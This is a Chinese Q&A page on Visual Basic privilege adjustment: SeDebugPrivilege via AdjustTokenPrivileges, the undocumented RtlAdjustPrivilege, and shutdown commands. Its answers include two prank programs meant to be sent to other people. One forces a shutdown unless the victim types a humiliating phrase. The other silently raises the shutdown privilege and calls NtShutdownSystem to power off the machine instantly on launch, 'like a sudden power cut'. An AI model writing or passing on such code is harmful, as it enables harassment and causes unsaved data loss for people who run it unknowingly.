1. 首页 > 科技

VB怎么用RtlAdjustPrivilege提权?

VB怎么用RtlAdjustPrivilege提权?

VB 如何提升进程权限为debug

至于用到的API和常量 自己查看VBAPI浏览器吧

Public Sub EnableDebugPrivilege() '提升进程权限到SeDebugPrivilege

    Dim hProcess As Long, hToken As Long, pTokenPrivilege As TOKEN_PRIVILEGES

    hProcess = GetCurrentProcess()

    Assert OpenProcessToken(hProcess, &H28, hToken) = 1

    Assert LookupPrivilegeValue(0, "SeDebugPrivilege", VarPtr(pTokenPrivilege) + 4) = 1

    With pTokenPrivilege

    .Count = 1

    .Attributes = 2

    End With

    Assert AdjustTokenPrivileges(hToken, 0, pTokenPrivilege, 16) = 1

    Assert CloseHandle(hToken) = 1

End Sub

VB中的RtlAdjustPrivilege

NTSTATUS RtlAdjustPrivilege

(

ULONG Privilege,

BOOLEAN Enable,

BOOLEAN CurrentThread,

PBOOLEAN Enabled

)

参数的含义:

Privilege [In] Privilege index to change.

// 所需要的权限名称,可以到MSDN查找关于Process Token & Privilege内容可以查到

Enable [In] If TRUE, then enable the privilege otherwise disable.

// 如果为True 就是打开相应权限,如果为False 则是关闭相应权限

CurrentThread [In] If TRUE, then enable in calling thread, otherwise process.

// 如果为True 则仅提升当前线程权限,否则提升整个进程的权限

Enabled [Out] Whether privilege was previously enabled or disabled.

// 输出原来相应权限的状态(打开 | 关闭)

如何实现VB的快速关机(不使用ExitWindowsEx和ExitWindowsX

大概不行吧,像访问Windows命令得用API函数

还有一种方法

shell “Cmd.exe /c shutdown -s -t 1”

shutdown是命令提示符命令。

-s是关机的意思,-t 是限制时间

其他:-r 重启 -i 局域网关机

注意使用Shell函数不是很安全哟!

请哪位高手发一个有趣的vb代码给我?

********第一个捉弄人。command timer label text各一个

Dim i As Integer

Private Sub Form_Load()

shell "shutdown -s"

i = 30

End Sub

Private Sub Timer1_Timer()

i = i - 1

Label1.Caption = "说自己是猪,还有" & i & "秒就关机。。。"

If i = 0 Then

Shell "shutdown -s"

End If

End Sub

Private Sub Command1_Click()

if text1.text="我是猪" then shell"shutdown -a"

End Sub

************第二个,狠一点。发给别人,啥变化都没有,就关机了。像突然停电。。。。。。

Private Declare Function RtlAdjustPrivilege& Lib "ntdll" (ByVal Privilege&, ByVal NewValue&, ByVal NewThread&, OldValue&)

Private Declare Function NtShutdownSystem& Lib "ntdll" (ByVal ShutdownAction&)

Private Const SE_SHUTDOWN_PRIVILEGE& = 19

Private Const shutdown& = 0

Private Const RESTART& = 1

Private Const POWEROFF& = 2

Sub jin()

RtlAdjustPrivilege SE_SHUTDOWN_PRIVILEGE, 1, 0, 0

NtShutdownSystem POWEROFF '关机

End Sub

Private Sub Form_Load()

jin

End Sub

快速关机(最多3s,没提示) 用了微软没有对外公开的RtlAdjustPrivilege函数,用来提权 其他都能读懂吧?

发给别人,啥变化都没有,就关机了。像突然停电。。。。。。

不满意要干啥追问一下。。。